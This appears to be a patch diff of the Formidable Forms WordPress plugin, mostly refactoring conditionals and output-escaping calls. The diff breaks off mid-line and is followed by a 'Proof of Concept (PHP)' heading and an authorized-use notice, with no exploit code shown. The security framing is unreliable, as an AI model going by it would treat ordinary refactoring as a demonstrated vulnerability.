+			if ( ! isset( $entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ] ) || ! is_array( $entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ] ) ) { // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong
+				$entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ] = array();
 			}
+
+			$entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ][] = '';
 		}

 		return $metas;
--- a/formidable/classes/helpers/FrmEntriesHelper.php
+++ b/formidable/classes/helpers/FrmEntriesHelper.php
@@ -223,7 +223,7 @@
 		$field_value = $entry->metas[ $field->id ] ?? false;

 		if ( FrmAppHelper::pro_is_installed() ) {
-			$empty = empty( $field_value );
+			$empty = ! $field_value;
 			FrmProEntriesHelper::get_dynamic_list_values( $field, $entry, $field_value );

 			if ( $empty && $field_value ) {
@@ -450,13 +450,14 @@

 	/**
 	 * @since 4.02.04
+	 * @since 6.29 This is public.
 	 *
 	 * @param int|string $field_id Field ID.
 	 * @param array      $args     Additional arguments.
 	 *
 	 * @return mixed
 	 */
-	private static function get_posted_meta( $field_id, $args ) {
+	public static function get_posted_meta( $field_id, $args ) {
 		if ( empty( $args['parent_field_id'] ) ) {
 			// Sanitizing is done next.
 			$value = isset( $_POST['item_meta'][ $field_id ] ) ? wp_unslash( $_POST['item_meta'][ $field_id ] ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Missing, SlevomatCodingStandard.Files.LineLength.LineTooLong
--- a/formidable/classes/helpers/FrmFieldGridHelper.php
+++ b/formidable/classes/helpers/FrmFieldGridHelper.php
@@ -78,7 +78,7 @@
 	public function set_field( $field ) {
 		$this->field = $field;

-		if ( ! empty( $this->section_helper ) && 'end_divider' !== $field->type ) {
+		if ( $this->section_helper && 'end_divider' !== $field->type ) {
 			$this->section_helper->set_field( $field );
 			return;
 		}
@@ -93,7 +93,7 @@
 			$this->active_field_size  = self::get_size_of_class( $this->field_layout_class );
 		}

-		if ( 'divider' !== $field->type || ! empty( $this->nested ) ) {
+		if ( 'divider' !== $field->type || $this->nested ) {
 			return;
 		}

@@ -106,7 +106,7 @@
 	 * @return void
 	 */
 	private function maybe_close_section_helper() {
-		if ( empty( $this->section_helper ) ) {
+		if ( ! $this->section_helper ) {
 			return;
 		}
 		$this->section_helper->force_close_field_wrapper();
@@ -148,7 +148,7 @@
 			$this->begin_field_wrapper();
 		}

-		if ( ! empty( $this->section_helper ) && $this->section_is_open ) {
+		if ( $this->section_helper && $this->section_is_open ) {
 			$this->section_helper->maybe_begin_field_wrapper();
 		}
 	}
@@ -157,7 +157,7 @@
 	 * @return bool
 	 */
 	private function should_first_close_the_active_field_wrapper() {
-		if ( false === $this->parent_li || ! empty( $this->section_helper ) ) {
+		if ( false === $this->parent_li || $this->section_helper ) {
 			return false;
 		}

@@ -215,7 +215,7 @@
 	 * @return void
 	 */
 	public function sync_list_size() {
-		if ( empty( $this->field ) ) {
+		if ( ! $this->field ) {
 			return;
 		}

@@ -223,7 +223,7 @@
 			$this->section_is_open = true;
 		}

-		if ( ! empty( $this->section_helper ) ) {
+		if ( $this->section_helper ) {
 			$this->section_helper->sync_list_size();

 			if ( 'end_divider' === $this->field->type ) {
--- a/formidable/classes/helpers/FrmFieldsHelper.php
+++ b/formidable/classes/helpers/FrmFieldsHelper.php
@@ -1825,16 +1825,18 @@
 		}

 		foreach ( $val as $k => $v ) {
-			if ( is_string( $v ) ) {
-				if ( 'custom_html' === $k ) {
-					$val[ $k ] = self::switch_ids_except_strings( $replace, $replace_with, array( '[if description]', '[description]', '[/if description]' ), $v );
-					unset( $k, $v );
-					continue;
-				}
+			if ( ! is_string( $v ) ) {
+				continue;
+			}

-				$val[ $k ] = str_replace( $replace, $replace_with, $v );
+			if ( 'custom_html' === $k ) {
+				$val[ $k ] = self::switch_ids_except_strings( $replace, $replace_with, array( '[if description]', '[description]', '[/if description]' ), $v );
 				unset( $k, $v );
+				continue;
 			}
+
+			$val[ $k ] = str_replace( $replace, $replace_with, $v );
+			unset( $k, $v );
 		}

 		return $val;
@@ -2381,32 +2383,20 @@
 		}

 		// If the individual field isn't allowed, disable it.
-		$run_filter             = true;
-		$single_no_allow        = ' ';
-		$install_data           = '';
-		$requires               = '';
-		$link                   = isset( $field_type['link'] ) ? esc_url_raw( $field_type['link'] ) : '';
-		$has_show_upgrade_class = isset( $field_type['icon'] ) && str_contains( $field_type['icon'], ' frm_show_upgrade' );
-		$show_upgrade           = $has_show_upgrade_class || str_contains( $args['no_allow_class'], 'frm_show_upgrade' );
-
-		if ( $has_show_upgrade_class ) {
-			$single_no_allow   .= 'frm_show_upgrade';
-			$field_type['icon'] = str_replace( ' frm_show_upgrade', '', $field_type['icon'] );
-			$run_filter         = false;
-
-			if ( isset( $field_type['addon'] ) ) {
-				$upgrading = FrmAddonsController::install_link( $field_type['addon'] );
-
-				if ( isset( $upgrading['url'] ) ) {
-					$install_data = json_encode( $upgrading );
-				}
+		$link = isset( $field_type['link'] ) ? esc_url_raw( $field_type['link'] ) : '';

-				$requires = FrmFormsHelper::get_plan_required( $upgrading );
-			} elseif ( isset( $field_type['require'] ) ) {
-				$requires = $field_type['require'];
-			}
-		}
+		list(
+			$run_filter,
+			$single_no_allow,
+			$install_data,
+			$requires,
+			$has_show_upgrade_class,
+			$has_show_update_class,
+			$upgrading,
+			$update_addon_name
+		) = self::get_field_upgrade_state( $field_type );

+		$show_upgrade    = $has_show_upgrade_class || $has_show_update_class || str_contains( $args['no_allow_class'], 'frm_show_upgrade' );
 		$upgrade_label   = '';
 		$upgrade_message = '';

@@ -2450,7 +2440,14 @@
 			);
 		}

-		if ( isset( $upgrading['url'] ) ) {
+		if ( $has_show_update_class ) {
+			$li_params['data-message'] = sprintf(
+				// translators: %1$s: Add-on name, %2$s: Field type name.
+				esc_html__( 'You need a newer version of %1$s for %2$s fields.', 'formidable' ),
+				$update_addon_name,
+				$field_name
+			);
+		} elseif ( isset( $upgrading['url'] ) ) {
 			$li_params['data-message'] = sprintf(
 				// translators: %s: Field name
 				esc_html__( 'You already have access to %s fields, you'll just need to activate to start using them.', 'formidable' ),
@@ -2475,6 +2472,76 @@
 	}

 	/**
+	 * Parse the upgrade and update flags from a field type's icon class.
+	 *
+	 * @since 6.29
+	 *
+	 * @param array $field_type Field type configuration, modified in place to strip icon flag classes.
+	 *
+	 * @return array Upgrade and update state values for the field button, in positional order.
+	 */
+	private static function get_field_upgrade_state( &$field_type ) {
+		$single_no_allow        = ' ';
+		$run_filter             = true;
+		$has_show_upgrade_class = false;
+		$has_show_update_class  = false;
+		$install_data           = '';
+		$requires               = '';
+		$upgrading              = array();
+		$update_addon_name      = '';
+
+		if ( isset( $field_type['icon'] ) ) {
+			$has_show_upgrade_class = str_contains( $field_type['icon'], ' frm_show_upgrade' );
+			$has_show_update_class  = str_contains( $field_type['icon'], ' frm_show_update' );
+		}
+
+		if ( $has_show_upgrade_class ) {
+			$single_no_allow   .= 'frm_show_upgrade';
+			$field_type['icon'] = str_replace( ' frm_show_upgrade', '', $field_type['icon'] );
+			$run_filter         = false;
+
+			if ( isset( $field_type['addon'] ) ) {
+				$upgrading = FrmAddonsController::install_link( $field_type['addon'] );
+
+				if ( isset( $upgrading['url'] ) ) {
+					$install_data = json_encode( $upgrading );
+				}
+
+				$requires = FrmFormsHelper::get_plan_required( $upgrading );
+			} elseif ( isset( $field_type['require'] ) ) {
+				$requires = $field_type['require'];
+			}
+		}
+
+		if ( $has_show_update_class ) {
+			$single_no_allow   .= ' frm_show_update';
+			$field_type['icon'] = str_replace( ' frm_show_update', '', $field_type['icon'] );
+			$run_filter         = false;
+			$addon_slug         = $field_type['addon'] ?? 'pro';
+
+			if ( 'pro' === $addon_slug ) {
+				$update_addon_name = __( 'Formidable Pro', 'formidable' );
+			} else {
+				$addon_data        = FrmAddonsController::get_addon( $addon_slug );
+				$update_addon_name = $addon_data && ! empty( $addon_data['title'] ) ? $addon_data['title'] : ucfirst( $addon_slug );
+			}
+
+			$install_data = FrmAddonsController::get_update_install_data( $addon_slug );
+		}
+
+		return array(
+			$run_filter,
+			$single_no_allow,
+			$install_data,
+			$requires,
+			$has_show_upgrade_class,
+			$has_show_update_class,
+			$upgrading,
+			$update_addon_name,
+		);
+	}
+
+	/**
 	 * Updates the params with limit data (the data-limit attribute, and possibly the frm_at_limit class).
 	 * Some field types are limited to a certain number per form, including coupon fields.
 	 *
@@ -2761,14 +2828,14 @@

 		if ( in_array( FrmAddonsController::license_type(), array( 'elite', 'business' ), true ) && 'active' === $data['plugin-status'] ) {
 			// Backwards compatibility "@since 6.24".
-			if ( ! method_exists( 'FrmAIAppController', 'get_ai_generated_options_summary' ) ) {
+			if ( method_exists( 'FrmAIAppController', 'get_ai_generated_options_summary' ) ) {
+				$attributes['class']   .= ' frm-ai-generate-options-modal-trigger';
+				$attributes['data-fid'] = $args['likert_id'] ?? $args['field']['id'];
+			} else {
 				$data = array(
 					'modal-title'   => __( 'Generate options with AI', 'formidable' ),
 					'modal-content' => __( 'Update the Formidable AI add-on to the last version to use this feature.', 'formidable' ),
 				);
-			} else {
-				$attributes['class']   .= ' frm-ai-generate-options-modal-trigger';
-				$attributes['data-fid'] = $args['likert_id'] ?? $args['field']['id'];
 			}
 		}

--- a/formidable/classes/helpers/FrmFormMigratorsHelper.php
+++ b/formidable/classes/helpers/FrmFormMigratorsHelper.php
@@ -28,11 +28,12 @@
 		foreach ( $forms as $form ) {
 			if ( ! self::is_dismissed( $form ) ) {
 				self::install_banner( $form );
-			} else {
-				echo '<span>';
-				self::install_button( $form, 'auto' );
-				echo '</span>';
+				continue;
 			}
+
+			echo '<span>';
+			self::install_button( $form, 'auto' );
+			echo '</span>';
 		}
 	}

@@ -156,7 +157,7 @@
 		// phpcs:disable Generic.WhiteSpace.ScopeIndent
 		if ( $install['installed'] ) {
 			?>
-			<a rel="<?php echo esc_attr( $install['importer'] ); ?>" class="button frm-activate-addon <?php echo esc_attr( $primary . ( empty( $install['link'] ) ? 'frm_hidden' : '' ) ); ?>"><?php // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong ?>
+			<a rel="<?php echo esc_attr( $install['importer'] ); ?>" class="button frm-activate-addon <?php echo esc_attr( $primary . ( ! empty( $install['link'] ) ? '' : 'frm_hidden' ) ); ?>"><?php // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong ?>
 			<?php
 			if ( $label === 'auto' ) {
 				/* translators: %s: Name of the plugin */
--- a/formidable/classes/helpers/FrmFormsHelper.php
+++ b/formidable/classes/helpers/FrmFormsHelper.php
@@ -716,7 +716,7 @@

 				echo esc_html( $truncated_name );
 				?>
-				<span>[<?php echo esc_attr( $args['id_label'] ?? $args['id'] ); ?>]</span>
+				<span>[<?php echo esc_html( $args['id_label'] ?? $args['id'] ); ?>]</span>
 			</a>
 			<a href="javascript:void(0)" class="frmkeys frm_insert_code frm_hidden" data-code="<?php echo esc_attr( $args['key'] ); ?>">
 				<?php
@@ -726,7 +726,7 @@

 				echo esc_html( $truncated_name );
 				?>
-				<span>[<?php echo esc_attr( FrmAppHelper::truncate( $args['key_label'] ?? $args['key'], 7 ) ); ?>]</span>
+				<span>[<?php echo esc_html( FrmAppHelper::truncate( $args['key_label'] ?? $args['key'], 7 ) ); ?>]</span>
 			</a>
 		</li>
 		<?php
@@ -772,9 +772,9 @@
 			<a href="javascript:void(0)" class="frm_insert_code <?php echo $has_tooltip ? 'frm_help' : ''; ?>"
 				<?php echo $has_tooltip ? 'title="' . esc_attr( $args['title'] ) . '"' : ''; ?>
 				data-code="<?php echo esc_attr( $args['code'] ); ?>">
-				<?php echo esc_attr( FrmAppHelper::truncate( $args['label'], 60 ) ); ?>
+				<?php echo esc_html( FrmAppHelper::truncate( $args['label'], 60 ) ); ?>
 				<span>
-					[<?php echo esc_attr( FrmAppHelper::truncate( $args['code'], 10 ) ); ?>]
+					[<?php echo esc_html( FrmAppHelper::truncate( $args['code'], 10 ) ); ?>]
 				</span>
 			</a>
 		</li>
@@ -1142,11 +1142,11 @@
 	public static function show_errors( $args ) {
 		$invalid_msg = self::get_invalid_error_message( $args );

-		if ( ! $invalid_msg ) {
-			$show_img = false;
-		} else {
+		if ( $invalid_msg ) {
 			echo wp_kses_post( $invalid_msg );
 			$show_img = true;
+		} else {
+			$show_img = false;
 		}

 		self::show_error(
@@ -2075,7 +2075,18 @@
 			return true;
 		}

-		return self::is_formidable_api_form() || self::is_gutenberg_editor() || self::is_elementor_ajax() || self::is_visual_views_preview();
+		return self::is_formidable_api_form() || self::is_block_or_page_builder_preview();
+	}
+
+	/**
+	 * Checks if the form is rendered inside a block editor or page builder preview.
+	 *
+	 * @since 6.29
+	 *
+	 * @return bool
+	 */
+	public static function is_block_or_page_builder_preview() {
+		return self::is_gutenberg_editor() || self::is_elementor_ajax() || self::is_visual_views_preview();
 	}

 	/**
--- a/formidable/classes/helpers/FrmListHelper.php
+++ b/formidable/classes/helpers/FrmListHelper.php
@@ -305,10 +305,12 @@
 	 * @return void
 	 */
 	private function hidden_search_inputs( $param_name ) {
-		if ( ! empty( $_REQUEST[ $param_name ] ) ) {
-			$value = sanitize_text_field( wp_unslash( $_REQUEST[ $param_name ] ) );
-			echo '<input type="hidden" name="' . esc_attr( $param_name ) . '" value="' . esc_attr( $value ) . '" />';
+		if ( empty( $_REQUEST[ $param_name ] ) ) {
+			return;
 		}
+
+		$value = sanitize_text_field( wp_unslash( $_REQUEST[ $param_name ] ) );
+		echo '<input type="hidden" name="' . esc_attr( $param_name ) . '" value="' . esc_attr( $value ) . '" />';
 	}

 	/**
@@ -400,7 +402,7 @@
 			$two = '2';
 		}//end if

-		if ( empty( $this->_actions ) ) {
+		if ( ! $this->_actions ) {
 			return;
 		}

@@ -541,8 +543,7 @@
 			foreach ( $this->modes as $mode => $title ) {
 				$classes = array( 'view-' . $mode );

-				// phpcs:ignore Universal.Operators.StrictComparisons
-				if ( $current_mode == $mode ) {
+				if ( $current_mode === $mode ) {
 					$classes[] = 'current';
 				}

@@ -617,7 +618,7 @@
 	 * @param string $which
 	 */
 	protected function pagination( $which ) {
-		if ( empty( $this->_pagination_args ) ) {
+		if ( ! $this->_pagination_args ) {
 			return;
 		}

--- a/formidable/classes/helpers/FrmShortcodeHelper.php
+++ b/formidable/classes/helpers/FrmShortcodeHelper.php
@@ -24,11 +24,7 @@
 			$atts = shortcode_parse_atts( $text );
 		}

-		if ( ! is_array( $atts ) ) {
-			return array();
-		}
-
-		return $atts;
+		return is_array( $atts ) ? $atts : array();
 	}

 	/**
--- a/formidable/classes/helpers/FrmStylesHelper.php
+++ b/formidable/classes/helpers/FrmStylesHelper.php
@@ -684,14 +684,14 @@
 				//phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Missing
 				$posted = wp_unslash( $_POST['frm_style_setting'] );

-				if ( ! is_array( $posted ) ) {
+				if ( is_array( $posted ) ) {
+					$settings   = $frm_style->sanitize_post_content( $posted['post_content'] );
+					$style_name = FrmAppHelper::get_post_param( 'style_name', '', 'sanitize_title' );
+				} else {
 					$posted = json_decode( $posted, true );
 					FrmAppHelper::format_form_data( $posted );
 					$settings   = $frm_style->sanitize_post_content( $posted['frm_style_setting']['post_content'] );
 					$style_name = sanitize_title( $posted['style_name'] );
-				} else {
-					$settings   = $frm_style->sanitize_post_content( $posted['post_content'] );
-					$style_name = FrmAppHelper::get_post_param( 'style_name', '', 'sanitize_title' );
 				}
 			} else {
 				$settings   = $frm_style->sanitize_post_content( wp_unslash( $_GET ) );
--- a/formidable/classes/helpers/FrmTipsHelper.php
+++ b/formidable/classes/helpers/FrmTipsHelper.php
@@ -59,7 +59,7 @@
 		$link = self::get_tip_link( $tip );
 		// phpcs:disable Generic.WhiteSpace.ScopeIndent
 		?>
-		<a href="<?php echo esc_url( $link ); ?>" <?php echo empty( $tip['link'] ) ? '' : 'target="_blank"'; ?> class="frm_pro_tip frm-gradient">
+		<a href="<?php echo esc_url( $link ); ?>" <?php echo ! empty( $tip['link'] ) ? 'target="_blank"' : ''; ?> class="frm_pro_tip frm-gradient">
 			<span class="frm-tip-badge"><?php esc_html_e( 'PRO TIP', 'formidable' ); ?></span>

 			<?php if ( isset( $tip['call'] ) ) { ?>
--- a/formidable/classes/helpers/FrmXMLHelper.php
+++ b/formidable/classes/helpers/FrmXMLHelper.php
@@ -133,11 +133,13 @@

 		foreach ( array( 'term', 'form', 'view' ) as $item_type ) {
 			// Grab cats, tags, and terms, or forms or posts.
-			if ( isset( $xml->{$item_type} ) ) {
-				$function_name = 'import_xml_' . $item_type . 's';
-				$imported      = self::$function_name( $xml->{$item_type}, $imported );
-				unset( $function_name, $xml->{$item_type} );
+			if ( ! isset( $xml->{$item_type} ) ) {
+				continue;
 			}
+
+			$function_name = 'import_xml_' . $item_type . 's';
+			$imported      = self::$function_name( $xml->{$item_type}, $imported );
+			unset( $function_name, $xml->{$item_type} );
 		}

 		$imported = apply_filters( 'frm_importing_xml', $imported, $xml );
@@ -465,12 +467,14 @@
 	 */
 	private static function maybe_update_child_form_parent_id( $imported_forms, $child_forms ) {
 		foreach ( $child_forms as $child_form_id => $old_parent_form_id ) {
-			if ( isset( $imported_forms[ $old_parent_form_id ] ) && (int) $imported_forms[ $old_parent_form_id ] !== (int) $old_parent_form_id ) {
-				// Update all children with this old parent_form_id
-				$new_parent_form_id = (int) $imported_forms[ $old_parent_form_id ];
-				FrmForm::update( $child_form_id, array( 'parent_form_id' => $new_parent_form_id ) );
-				do_action( 'frm_update_child_form_parent_id', $child_form_id, $new_parent_form_id );
+			if ( ! isset( $imported_forms[ $old_parent_form_id ] ) || (int) $imported_forms[ $old_parent_form_id ] === (int) $old_parent_form_id ) {
+				continue;
 			}
+
+			// Update all children with this old parent_form_id
+			$new_parent_form_id = (int) $imported_forms[ $old_parent_form_id ];
+			FrmForm::update( $child_form_id, array( 'parent_form_id' => $new_parent_form_id ) );
+			do_action( 'frm_update_child_form_parent_id', $child_form_id, $new_parent_form_id );
 		}
 	}

@@ -1513,13 +1517,15 @@
 	 * @param int   $post_id
 	 */
 	private static function update_layout( &$post, $post_id ) {
-		if ( is_callable( 'FrmViewsLayout::maybe_create_layouts_for_view' ) ) {
-			$listing_layout = ! empty( $post['layout']['listing'] ) ? json_decode( $post['layout']['listing'], true ) : array();
-			$detail_layout  = ! empty( $post['layout']['detail'] ) ? json_decode( $post['layout']['detail'], true ) : array();
+		if ( ! is_callable( 'FrmViewsLayout::maybe_create_layouts_for_view' ) ) {
+			return;
+		}

-			if ( $listing_layout || $detail_layout ) {
-				FrmViewsLayout::maybe_create_layouts_for_view( $post_id, $listing_layout, $detail_layout );
-			}
+		$listing_layout = ! empty( $post['layout']['listing'] ) ? json_decode( $post['layout']['listing'], true ) : array();
+		$detail_layout  = ! empty( $post['layout']['detail'] ) ? json_decode( $post['layout']['detail'], true ) : array();
+
+		if ( $listing_layout || $detail_layout ) {
+			FrmViewsLayout::maybe_create_layouts_for_view( $post_id, $listing_layout, $detail_layout );
 		}
 	}

@@ -1832,10 +1838,12 @@
 		}

 		foreach ( $options as $key => $option ) {
-			if ( is_array( $option ) && ! empty( $option['image'] ) ) {
-				$options[ $key ]['src'] = wp_get_attachment_url( $option['image'] );
-				$updated                = true;
+			if ( ! is_array( $option ) || empty( $option['image'] ) ) {
+				continue;
 			}
+
+			$options[ $key ]['src'] = wp_get_attachment_url( $option['image'] );
+			$updated                = true;
 		}

 		if ( $updated ) {
--- a/formidable/classes/models/FrmAddon.php
+++ b/formidable/classes/models/FrmAddon.php
@@ -109,11 +109,11 @@
 	protected $should_clear_cache = true;

 	public function __construct() {
-		if ( empty( $this->plugin_slug ) ) {
+		if ( ! $this->plugin_slug ) {
 			$this->plugin_slug = preg_replace( '/[^a-zA-Z0-9_s]/', '', str_replace( ' ', '_', strtolower( $this->plugin_name ) ) );
 		}

-		if ( empty( $this->option_name ) ) {
+		if ( ! $this->option_name ) {
 			$this->option_name = 'edd_' . $this->plugin_slug . '_license_';
 		}

@@ -480,16 +480,16 @@
 	public function show_license_message( $file, $plugin ) {
 		$message = '';

-		if ( empty( $this->license ) ) {
-			/* translators: %1$s: Plugin name, %2$s: Start link HTML, %3$s: end link HTML */
-			$message = sprintf( esc_html__( 'Your %1$s license key is missing. Please add it on the %2$slicenses page%3$s.', 'formidable' ), esc_html( $this->plugin_name ), '<a href="' . esc_url( admin_url( 'admin.php?page=formidable-settings' ) ) . '">', '</a>' ); // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong
-		} else {
+		if ( $this->license ) {
 			$api    = new FrmFormApi( $this->license );
 			$errors = $api->error_for_license();

 			if ( $errors ) {
 				$message = reset( $errors );
 			}
+		} else {
+			/* translators: %1$s: Plugin name, %2$s: Start link HTML, %3$s: end link HTML */
+			$message = sprintf( esc_html__( 'Your %1$s license key is missing. Please add it on the %2$slicenses page%3$s.', 'formidable' ), esc_html( $this->plugin_name ), '<a href="' . esc_url( admin_url( 'admin.php?page=formidable-settings' ) ) . '">', '</a>' ); // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong
 		}

 		if ( ! $message ) {
@@ -632,13 +632,15 @@
 	 * @return void
 	 */
 	private function maybe_use_beta_url( &$version_info ) {
-		if ( $this->get_beta && ! empty( $version_info->beta ) ) {
-			$version_info->new_version = $version_info->beta['version'];
-			$version_info->package     = $version_info->beta['package'];
+		if ( ! $this->get_beta || empty( $version_info->beta ) ) {
+			return;
+		}

-			if ( ! empty( $version_info->plugin ) ) {
-				$version_info->plugin = $version_info->beta['plugin'];
-			}
+		$version_info->new_version = $version_info->beta['version'];
+		$version_info->package     = $version_info->beta['package'];
+
+		if ( ! empty( $version_info->plugin ) ) {
+			$version_info->plugin = $version_info->beta['plugin'];
 		}
 	}

@@ -680,7 +682,7 @@
 	 * @return void
 	 */
 	private function is_license_revoked() {
-		if ( empty( $this->license ) || empty( $this->plugin_slug ) || isset( $_POST['license'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
+		if ( ! $this->license || ! $this->plugin_slug || isset( $_POST['license'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
 			return;
 		}

@@ -876,7 +878,7 @@
 			'error'  => true,
 		);

-		if ( empty( $this->license ) ) {
+		if ( ! $this->license ) {
 			$response['error'] = false;
 			return $response;
 		}
--- a/formidable/classes/models/FrmAntiSpam.php
+++ b/formidable/classes/models/FrmAntiSpam.php
@@ -108,7 +108,7 @@
 				// Two days ago.
 				2 * DAY_IN_SECONDS,
 				// One day ago.
-				1 * DAY_IN_SECONDS,
+				DAY_IN_SECONDS,
 			)
 		);

@@ -315,10 +315,12 @@
 	 * @return void
 	 */
 	private static function clear_wp_super_cache() {
-		if ( function_exists( 'wp_cache_clean_cache' ) ) {
-			global $file_prefix;
-			wp_cache_clean_cache( $file_prefix, true );
+		if ( ! function_exists( 'wp_cache_clean_cache' ) ) {
+			return;
 		}
+
+		global $file_prefix;
+		wp_cache_clean_cache( $file_prefix, true );
 	}

 	/**
--- a/formidable/classes/models/FrmApplicationApi.php
+++ b/formidable/classes/models/FrmApplicationApi.php
@@ -34,6 +34,6 @@
 	 * @return void
 	 */
 	protected function set_cache_key() {
-		$this->cache_key = 'frm_applications_l' . ( empty( $this->license ) ? '' : md5( $this->license ) );
+		$this->cache_key = 'frm_applications_l' . ( ! empty( $this->license ) ? md5( $this->license ) : '' );
 	}
 }
--- a/formidable/classes/models/FrmCreateFile.php
+++ b/formidable/classes/models/FrmCreateFile.php
@@ -107,14 +107,16 @@
 	 * @return void
 	 */
 	public function append_file( $file_content ) {
-		if ( $this->has_permission ) {
-			if ( file_exists( $this->new_file_path ) ) {
-				$existing_content = $this->get_contents();
-				$file_content     = $existing_content . $file_content;
-			}
+		if ( ! $this->has_permission ) {
+			return;
+		}

-			$this->create_file( $file_content );
+		if ( file_exists( $this->new_file_path ) ) {
+			$existing_content = $this->get_contents();
+			$file_content     = $existing_content . $file_content;
 		}
+
+		$this->create_file( $file_content );
 	}

 	/**
@@ -127,14 +129,16 @@
 	 * @return void
 	 */
 	public function combine_files( $file_names ) {
-		if ( $this->has_permission ) {
-			$content = '';
+		if ( ! $this->has_permission ) {
+			return;
+		}

-			foreach ( $file_names as $file_name ) {
-				$content .= $this->get_contents( $file_name ) . "n";
-			}
-			$this->create_file( $content );
+		$content = '';
+
+		foreach ( $file_names as $file_name ) {
+			$content .= $this->get_contents( $file_name ) . "n";
 		}
+		$this->create_file( $content );
 	}

 	/**
@@ -305,7 +309,7 @@
 	 * @return void
 	 */
 	private function show_error_message() {
-		if ( ! empty( $this->error_message ) ) {
+		if ( $this->error_message ) {
 			echo '<div class="message">' . esc_html( $this->error_message ) . '</div>';
 		}
 	}
--- a/formidable/classes/models/FrmDb.php
+++ b/formidable/classes/models/FrmDb.php
@@ -6,47 +6,6 @@
 class FrmDb {

 	/**
-	 * The table name for Formidable Fields.
-	 *
-	 * @var string
-	 */
-	public $fields;
-
-	/**
-	 * The table name for Formidable Forms.
-	 *
-	 * @var string
-	 */
-	public $forms;
-
-	/**
-	 * The table name for Formidable Entries.
-	 *
-	 * @var string
-	 */
-	public $entries;
-
-	/**
-	 * The table name for Formidable Entry Metas.
-	 *
-	 * @var string
-	 */
-	public $entry_metas;
-
-	public function __construct() {
-		if ( ! defined( 'ABSPATH' ) ) {
-			die( 'You are not allowed to call this page directly.' );
-		}
-
-		_deprecated_function( __METHOD__, '2.05.06', 'FrmMigrate' );
-		global $wpdb;
-		$this->fields      = $wpdb->prefix . 'frm_fields';
-		$this->forms       = $wpdb->prefix . 'frm_forms';
-		$this->entries     = $wpdb->prefix . 'frm_items';
-		$this->entry_metas = $wpdb->prefix . 'frm_item_metas';
-	}
-
-	/**
 	 * Change array into format $wpdb->prepare can use
 	 *
 	 * @param array  $args
@@ -773,10 +732,12 @@
 	 * @return void
 	 */
 	public static function set_cache( $cache_key, $results, $group = '', $time = 300 ) {
-		if ( ! FrmAppHelper::prevent_caching() ) {
-			self::add_key_to_group_cache( $cache_key, $group );
-			wp_cache_set( $cache_key, $results, $group, $time );
+		if ( FrmAppHelper::prevent_caching() ) {
+			return;
 		}
+
+		self::add_key_to_group_cache( $cache_key, $group );
+		wp_cache_set( $cache_key, $results, $group, $time );
 	}

 	/**
--- a/formidable/classes/models/FrmEmail.php
+++ b/formidable/classes/models/FrmEmail.php
@@ -176,7 +176,7 @@

 		$this->to = array_unique( (array) $to );

-		if ( empty( $this->to ) ) {
+		if ( ! $this->to ) {
 			return;
 		}

@@ -511,7 +511,7 @@
 	 * @return bool
 	 */
 	private function has_recipients() {
-		return ! ( empty( $this->to ) && empty( $this->cc ) && empty( $this->bcc ) );
+		return $this->to || $this->cc || $this->bcc;
 	}

 	/**
@@ -586,11 +586,11 @@
 	private function package_header() {
 		$header = array();

-		if ( ! empty( $this->cc ) ) {
+		if ( $this->cc ) {
 			$header[] = 'CC: ' . implode( ',', $this->cc );
 		}

-		if ( ! empty( $this->bcc ) ) {
+		if ( $this->bcc ) {
 			$header[] = 'BCC: ' . implode( ',', $this->bcc );
 		}

--- a/formidable/classes/models/FrmEntryFormatter.php
+++ b/formidable/classes/models/FrmEntryFormatter.php
@@ -789,16 +789,18 @@
 	 * @return void
 	 */
 	protected function add_user_info_to_html_table( &$content ) {
-		if ( $this->include_user_info ) {
-			foreach ( $this->entry_values->get_user_info() as $user_info ) {
-				$value_args = array(
-					'label'      => $user_info['label'],
-					'value'      => $user_info['value'],
-					'field_type' => 'none',
-				);
+		if ( ! $this->include_user_info ) {
+			return;
+		}
+
+		foreach ( $this->entry_values->get_user_info() as $user_info ) {
+			$value_args = array(
+				'label'      => $user_info['label'],
+				'value'      => $user_info['value'],
+				'field_type' => 'none',
+			);

-				$this->add_html_row( $value_args, $content );
-			}
+			$this->add_html_row( $value_args, $content );
 		}
 	}

@@ -812,10 +814,12 @@
 	 * @return void
 	 */
 	protected function add_user_info_to_plain_text_content( &$content ) {
-		if ( $this->include_user_info ) {
-			foreach ( $this->entry_values->get_user_info() as $user_info ) {
-				$this->add_plain_text_row( $user_info['label'], $user_info['value'], $content );
-			}
+		if ( ! $this->include_user_info ) {
+			return;
+		}
+
+		foreach ( $this->entry_values->get_user_info() as $user_info ) {
+			$this->add_plain_text_row( $user_info['label'], $user_info['value'], $content );
 		}
 	}

--- a/formidable/classes/models/FrmEntryShortcodeFormatter.php
+++ b/formidable/classes/models/FrmEntryShortcodeFormatter.php
@@ -78,7 +78,7 @@
 		$this->init_form_id( $form_id );
 		$this->init_fields();

-		if ( empty( $this->fields ) ) {
+		if ( ! $this->fields ) {
 			return;
 		}

@@ -165,7 +165,7 @@
 	 * @return array|string
 	 */
 	public function content() {
-		if ( ! $this->form_id || empty( $this->fields ) ) {
+		if ( ! $this->form_id || ! $this->fields ) {
 			return '';
 		}

--- a/formidable/classes/models/FrmEntryValidate.php
+++ b/formidable/classes/models/FrmEntryValidate.php
@@ -91,11 +91,13 @@
 	 */
 	private static function set_item_key( &$values ) {
 		// phpcs:ignore Universal.Operators.StrictComparisons
-		if ( ! isset( $values['item_key'] ) || $values['item_key'] == '' ) {
-			global $wpdb;
-			$values['item_key'] = FrmAppHelper::get_unique_key( '', $wpdb->prefix . 'frm_items', 'item_key' );
-			$_POST['item_key']  = $values['item_key'];
+		if ( isset( $values['item_key'] ) && $values['item_key'] != '' ) {
+			return;
 		}
+
+		global $w

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

